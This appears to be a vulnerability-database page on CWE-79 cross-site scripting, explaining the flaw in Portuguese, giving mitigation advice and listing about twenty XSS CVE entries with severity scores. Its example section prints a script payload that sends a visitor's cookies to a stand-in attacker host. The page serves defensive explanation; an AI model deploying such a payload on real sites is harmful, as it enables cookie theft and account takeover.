Fallos del tipo CWE-79

29.273 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-44301MEDIUM Dell DM5500 5.14.0.0 and prior contain a Reflected Cross-Site Scripting Vulnerability. A network attacker with low privileges could potenEPSS 0.5%CVE-2026-3812MEDIUMitsourcecode Payroll Management System manage_employee_allowances.php cross site scriptingEPSS 0.5%CVE-2025-31128MEDIUMgifplayer XSS vulnerabilityEPSS 0.5%CVE-2024-41240MEDIUMA Reflected Cross Site Scripting (XSS) vulnerability was found in " /smsa/teacher_login.php" in Kashipara Responsive School Management SysteEPSS 0.5%CVE-2024-31013MEDIUMCross Site Scripting (XSS) vulnerability in emlog version Pro 2.3, allow remote attackers to execute arbitrary code via a crafted payload toEPSS 0.5%CVE-2023-3051MEDIUMPage Builder by AZEXO <= 1.27.133 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2023-1875MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2021-22722—A CWE-79: Improper Neutralization of Input During Web Page Generation ('Stored Cross-site Scripting') vulnerability exists in EVlink City (EEPSS 0.5%CVE-2025-4862MEDIUMPHPGurukul Directory Management System searchdata.php cross site scriptingEPSS 0.5%CVE-2021-35227MEDIUMInsecure Web Configuration for RabbitMQ Management Plugin in SolarWinds ARMEPSS 0.5%CVE-2023-1761MEDIUMCross-site Scripting in thorsten/phpmyfaqEPSS 0.5%CVE-2024-0963MEDIUMCalculated Fields Form <= 1.2.52 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.5%CVE-2024-31586MEDIUMA Cross Site Scripting (XSS) vulnerability exists in Computer Laboratory Management System version 1.0. This vulnerability allows a remote aEPSS 0.5%CVE-2023-1885MEDIUMCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2023-0747MEDIUMCross-site Scripting (XSS) - Stored in btcpayserver/btcpayserverEPSS 0.5%CVE-2023-5319HIGHCross-site Scripting (XSS) - Stored in thorsten/phpmyfaqEPSS 0.5%CVE-2023-3652MEDIUMReflected XSS in Digital Ant E-Commerce SoftwareEPSS 0.5%CVE-2025-6947MEDIUMWatchGuard Firebox Stored Cross-Site-Scripting (XSS) Vulnerability in SIP Proxy ConfigurationEPSS 0.5%CVE-2024-8407MEDIUMalwindoss akademy handlers.go cross site scriptingEPSS 0.5%CVE-2023-0879MEDIUMCross-site Scripting (XSS) - Stored in btcpayserver/btcpayserverEPSS 0.5%